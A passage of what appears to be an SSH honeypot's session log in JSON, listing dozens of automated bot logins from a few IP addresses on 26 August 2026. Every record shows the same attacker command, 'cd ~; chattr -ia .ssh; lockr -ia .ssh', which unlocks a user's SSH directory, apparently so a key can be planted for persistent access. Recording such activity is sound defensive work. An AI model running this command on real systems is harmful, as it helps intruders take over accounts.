"ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2257 }, { "id": "234121c6-c9e6-48f3-b120-fc8473397bec", "name": "prairie-thawing-blackbird", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 50274, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:36:31.926723+00:00", "ended_at": "2026-08-26T22:36:33.135610+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "8821cc7f-cb2b-4c0b-8112-dc93ca0c24ad", "name": "blithe-honest-dunlin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 49446, "username": "user", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:34:33.498009+00:00", "ended_at": "2026-08-26T22:34:34.540507+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2249 }, { "id": "8889b794-3420-499b-ba77-e0fca6219a78", "name": "bitter-vernal-plover", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 51584, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:32:36.517304+00:00", "ended_at": "2026-08-26T22:32:37.388096+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "712ad059-f7ef-4421-9f20-094279b3228f", "name": "fringed-snowy-nuthatch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 44534, "username": "mcserver", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 67, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:30:30.060127+00:00", "ended_at": "2026-08-26T22:30:32.225340+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2259 }, { "id": "f13ddc6a-8276-4281-b3e3-e91d11f18595", "name": "fringed-canny-pheasant", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 48524, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:28:36.867877+00:00", "ended_at": "2026-08-26T22:28:38.389448+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "7aa65e49-1024-4c9f-97af-154317883f7e", "name": "sooty-pewter-pochard", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 49162, "username": "minecraft", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 68, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:26:36.605992+00:00", "ended_at": "2026-08-26T22:26:38.807153+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2260 }, { "id": "3bdfa553-0792-4bb2-8f21-8f3acd304c18", "name": "grumpy-jolly-chinchilla", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 51582, "username": "admin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 69, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:24:40.906880+00:00", "ended_at": "2026-08-26T22:24:43.107634+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2256 }, { "id": "40fa65fd-fcab-4975-9d61-7c84f4d67b80", "name": "diligent-burly-tanager", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 52690, "username": "yx", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:22:35.264741+00:00", "ended_at": "2026-08-26T22:22:36.950695+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2249 }, { "id": "a72392cf-d7c3-496c-aa59-bdc47134a553", "name": "prairie-lunar-martin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 44288, "username": "maman", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:20:28.578573+00:00", "ended_at": "2026-08-26T22:20:30.099169+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2252 }, { "id": "c8627d04-62b1-494d-82ff-b6cc011a3e3a", "name": "lawful-woven-merlin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 54148, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:18:25.699676+00:00", "ended_at": "2026-08-26T22:18:27.811255+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "8e9aaf29-e88c-4627-8177-0a58996b1ba1", "name": "blunt-upland-stonechat", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 60036, "username": "temp", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:16:34.039368+00:00", "ended_at": "2026-08-26T22:16:35.749635+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2255 }, { "id": "7c80ea31-a5d7-47d8-9d64-fa955b5c95c6", "name": "glassy-steady-raven", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 34022, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:14:40.341165+00:00", "ended_at": "2026-08-26T22:14:41.446011+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "90c527d1-48c6-4a7e-b55d-45fe617f00d2", "name": "twilight-salty-skua", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 52062, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:12:36.684422+00:00", "ended_at": "2026-08-26T22:12:38.672663+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "bb42f020-30f3-48f4-ba69-533aac8acef4", "name": "dapper-frosty-kestrel", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 37444, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:10:41.273002+00:00", "ended_at": "2026-08-26T22:10:42.385536+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "6d235e27-e165-46dc-8ac2-95f6bf835fed", "name": "sterling-craggy-gibbon", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 37062, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:08:43.418751+00:00", "ended_at": "2026-08-26T22:08:44.723626+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "3b24c531-37d5-4a03-b704-e7a0bc25d543", "name": "loyal-hidden-porcupine", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 56834, "username": "incoming", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:06:41.442149+00:00", "ended_at": "2026-08-26T22:06:42.304238+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2247 }, { "id": "c57d2cd2-02dc-4248-becb-7de5688deb67", "name": "slender-sleepy-shearwater", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 55168, "username": "scott", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:04:41.876826+00:00", "ended_at": "2026-08-26T22:04:43.752675+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2256 }, { "id": "9e0ea237-f358-4f21-9d07-7015e4e5e4d6", "name": "gallant-icy-stork", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 45762, "username": "n8n", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:02:44.947266+00:00", "ended_at": "2026-08-26T22:02:46.144310+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2244 }, { "id": "5c3a7c5e-09ab-45fb-96f1-72a11c840af0", "name": "lively-diligent-manatee", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 50540, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:00:42.826853+00:00", "ended_at": "2026-08-26T22:00:44.379794+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "497be21b-7be1-47e8-bbc7-464eedc2053d", "name": "gnarled-upland-gerbil", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 38984, "username": "ubuntu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T21:58:49.387001+00:00", "ended_at": "2026-08-26T21:58:50.374846+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2257 }, { "id": "11aa2cbd-fe21-46e3-b0d6-344145a643ec", "name": "marine-tranquil-walrus", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 55188, "username": "admin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 70, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T21:56:44.073129+00:00", "ended_at": "2026-08-26T21:56:45.527588+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2243 }, { "id": "910bee72-8600-4d52-af3a-d73a00585467", "name": "coral-lively-dormouse", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 40922, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 70, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T21:54:51.098099+00:00", "ended_at": "2026-08-26T21:54:51.967026+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2282 }, { "id": "dc56c274-7f9e-42de-a185-441ab6ed2f79", "name": "wiry-merry-hedgehog", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 43208, "username": "it", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 73, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T21:52:53.047241+00:00", "ended_at": "2026-08-26T21:52:54.392693+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2220 }, { "id": "e0a23090-474a-4bcc-b4e2-c83a6a258114", "name": "dewy-faded-nightjar", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 45852, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 68, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T21:50:48.908832+00:00", "ended_at": "2026-08-26T21:50:50.825332+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2260 }, { "id": "89f01967-b6fd-431c-99de-62e5d676979e", "name": "jaunty-ancient-loris", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 59308, "username": "debian", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T21:48:55.007378+00:00", "ended_at": "2026-08-26T21:48:56.445720+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2196 }, { "id": "19a88dac-d478-40f2-a4ab-5ecb2d32a4d4", "name": "bold-nameless-cuckoo", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 56664, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 71, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T21:46:42.168677+00:00", "ended_at": "2026-08-26T21:46:44.366812+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2238 }, { "id": "d372a842-883e-4aee-b7bf-c487f63997e5", "name": "plush-amiable-pheasant", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 46896, "username": "behnam", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 67, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T21:44:49.415915+00:00", "ended_at": "2026-08-26T21:44:50.314075+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2174 }, { "id": "4cd4cfa2-a3e0-4e5d-96a9-2f2538ed1b79", "name": "placid-emerald-springbok", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 39934, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T21:42:51.688062+00:00", "ended_at": "2026-08-26T21:42:53.178355+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2216 }, { "id": "f94fc549-d7ec-40c8-a223-8b20c6e0ed4f", "name": "lawful-merry-toucan", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 44310, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 68, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T21:40:48.158444+00:00", "ended_at": "2026-08-26T21:40:49.292764+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2203 }, { "id": "7db919dd-d72b-4961-897a-fa558ce6d909", "name": "courtly-dewy-okapi", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 57444, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 70, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T21:38:55.902990+00:00", "ended_at": "2026-08-26T21:38:57.202707+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2194 }, { "id": "bb45dbdb-4045-4094-9ed3-6209e9e31690", "name": "glacial-vernal-goshawk", "protocol": "ssh", "channel_kind": "exec", "src_ip": "41.111.227.10", "src_port": 51206, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 508, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T21:37:13.185250+00:00", "ended_at": "2026-08-26T21:37:13.851923+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2095 }, { "id": "0f22c5aa-bc0d-4de4-92dc-df46039b662f", "name": "painted-wiry-wren", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 47040, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T21:35:05.727119+00:00", "ended_at": "2026-08-26T21:35:07.870729+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2183 }, { "id": "b32ef2f4-0de6-4bda-9d42-191ca760d171", "name": "pleasant-verdant-jay", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 41664, "username": "andrei", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T21:33:00.409369+00:00", "ended_at": "2026-08-26T21:33:02.191440+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2113 }, { "id": "5e466ecf-96c8-48a2-81bb-9aa6878ab1fe", "name": "forlorn-airy-plover", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 49734, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T21:31:03.393133+00:00", "ended_at": "2026-08-26T21:31:05.334337+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2159 }, { "id": "8d3d7962-2361-41fb-b214-58651d26d07b", "name": "pewter-gallant-walrus", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 55372, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T21:29:02.848236+00:00", "ended_at": "2026-08-26T21:29:04.782689+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2150 }, { "id": "0fe4342f-6f8f-4c46-8bd5-98bbe654a4f2", "name": "freckled-hushed-siskin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 58222, "username": "lenovo", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T21:26:59.444044+00:00", "ended_at": "2026-08-26T21:27:01.598404+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2086 }, { "id": "1fec95c7-044b-4fc2-be60-59b63ff187be", "name": "vernal-peaty-teal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 35232, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 70, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T21:25:07.667501+00:00", "ended_at": "2026-08-26T21:25:09.073224+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2128 }, { "id": "dbe14320-b328-4906-b218-12cf23fd2830", "name": "sunlit-clever-falcon", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 55536, "username": "dbadmin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 66, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T21:23:14.941747+00:00", "ended_at": "2026-08-26T21:23:15.883585+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2065 }, { "id": "3d52c553-63f2-4812-bec4-2a59e48b7714", "name": "leafy-boreal-narwhal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 45218, "username": "tim", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 68, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T21:21:11.571637+00:00", "ended_at": "2026-08-26T21:21:12.115800+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2048 }, { "id": "8a39205c-22a2-4fa3-b48f-0ba1dd2bbacc", "name": "golden-eager-sparrow", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 40070, "username": "don", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 73, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T21:19:13.356498+00:00", "ended_at": "2026-08-26T21:19:13.890166+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2045 }, { "id": "73362dea-c90c-4f58-a277-db9665c8c86d", "name": "cobalt-tidal-egret", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.51.208.158", "src_port": 33235, "username": "mars", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 444, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T18:35:02.320364+00:00", "ended_at": "2026-08-26T18:35:02.981268+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2046 }, { "id": "e5bbe61c-4330-4c76-b8b7-169e1a52688c", "name": "wistful-solemn-capuchin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 58454, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 540, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T18:28:31.967852+00:00", "ended_at": "2026-08-26T18:28:33.184528+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "489fe293-0c72-4ce4-ad63-285e100aebb5", "name": "primal-indigo-lemur", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 52828, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 512, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T18:25:33.989776+00:00", "ended_at": "2026-08-26T18:25:35.452780+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "0c527c33-e864-4482-b126-9d9487034a67", "name": "wandering-whispering-puffin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 52410, "username": "ubuntu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 534, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T18:22:37.007494+00:00", "ended_at": "2026-08-26T18:22:38.014476+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2265 }, { "id": "01030d1d-e31f-407f-81e3-04200798ba22", "name": "daring-humble-tanager", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 56538, "username": "frontend", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 526, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T18:19:41.005370+00:00", "ended_at": "2026-08-26T18:19:42.106771+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2251 }, { "id": "33d09e0a-72d7-4661-aaad-ca12bd5e1b36", "name": "gnarled-slender-sandpiper", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 55992, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 536, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T18:16:36.587288+00:00", "ended_at": "2026-08-26T18:16:38.154660+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "2c017946-ac04-4700-8400-03e439d05a6d", "name": "bold-humble-capuchin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 50998, "username": "support", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 540, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T18:13:39.636117+00:00", "ended_at": "2026-08-26T18:13:40.822236+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2292 }, { "id": "be48beab-5d11-4398-b754-4d558975a7c3", "name": "placid-northern-crane", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 37064, "username": "ian", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 508, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T18:10:31.207276+00:00", "ended_at": "2026-08-26T18:10:32.850047+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2242 }, { "id": "88e82370-d6e4-49df-9fe7-07c4ee56db9c", "name": "lively-painted-fennec", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 33744, "username": "andy", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 525, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T18:07:35.477191+00:00", "ended_at": "2026-08-26T18:07:36.937886+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2253 }, { "id": "015510ba-cea4-469c-9467-beeb6085312d", "name": "mellow-cheerful-moose", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 47128, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 542, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T18:04:40.564645+00:00", "ended_at": "2026-08-26T18:04:41.652112+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "67859af0-a50c-42d2-acee-a97ec9efad1f", "name": "bronzed-glassy-lapwing", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 34416, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 551, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T18:01:46.915015+00:00", "ended_at": "2026-08-26T18:01:48.495916+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "6f5791c3-fba9-4d8c-93d1-ac54ecc14cfc", "name": "bashful-civil-jaguar", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 39658, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 551, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T17:58:46.871208+00:00", "ended_at": "2026-08-26T17:58:47.874485+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "42c8c558-be26-41de-bb4f-a2857d57b4d0", "name": "somber-frugal-raven", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.153.204.5", "src_port": 45384, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 527, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia 